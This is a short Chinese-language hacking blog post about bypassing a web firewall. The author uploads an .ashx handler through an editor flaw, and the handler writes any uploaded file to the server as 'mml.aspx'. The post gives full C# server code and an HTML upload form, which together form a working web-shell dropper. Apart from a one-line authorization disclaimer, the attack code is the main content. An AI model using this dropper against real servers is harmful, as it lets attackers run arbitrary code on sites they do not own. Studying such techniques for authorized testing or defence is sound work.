ashx绕过防火墙

小编注：渗透测试时请预先获得许可或授权，禁止进行非法渗透。

授权对一个电视台进行渗透测试，前提编辑器可以上传ashx文件的(编辑器漏洞)

根据参考http://pnig0s1992.blog.51cto.com/393390/495155 

2.比较笨的方法，看代码吧

我对代码进行测试使用，防火墙依然检查aspx后缀，，pnig0s的代码是上传xx.jpg保存的也是xx.jpg，xx.txt也是xx.txt，，，
我的方法是做了一个小的修改，伪原创。而且客户端不用那么麻烦。

上传任何类型文件（防火墙不检查的后缀）都会在服务端自动重命名.

———————-

看代码吧

——————- 

//////服务端////
   <%@ WebHandler Language="C#" Class="Uploader" %> 
    using System; 
    using System.IO; 
    using System.Web;    
     
    public class Uploader : IHttpHandler 
    { 
        public void ProcessRequest(HttpContext hc) 
        { 
            foreach (string fileKey in hc.Request.Files) 
            { 
                HttpPostedFile file = hc.Request.Files[fileKey]; 
                file.SaveAs(hc.Server.MapPath("mml.aspx")); 
            } 
        }    
     
        public bool IsReusable 
        { 
            get { return true; } 
        } 
    } 


////////客户端///////
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <title>html控件与ashx进行保存上传文件</title>
</head>
<body>


<!--enctype="multipart/form-data"该类型指定传输数据特殊类型,如图片或mp3等,-->
<form action="http://host/uploadfile/xxx/upko.ashx" method="post" enctype="multipart/form-data" id="form1">
    <p>
        <input id="fileKey" name="fileKey" type="file" /></p>
    <p>
        <input id="Button1" type="submit" value="button" /></p>
</form>
</body>
</html>

源链接

Hacking more

...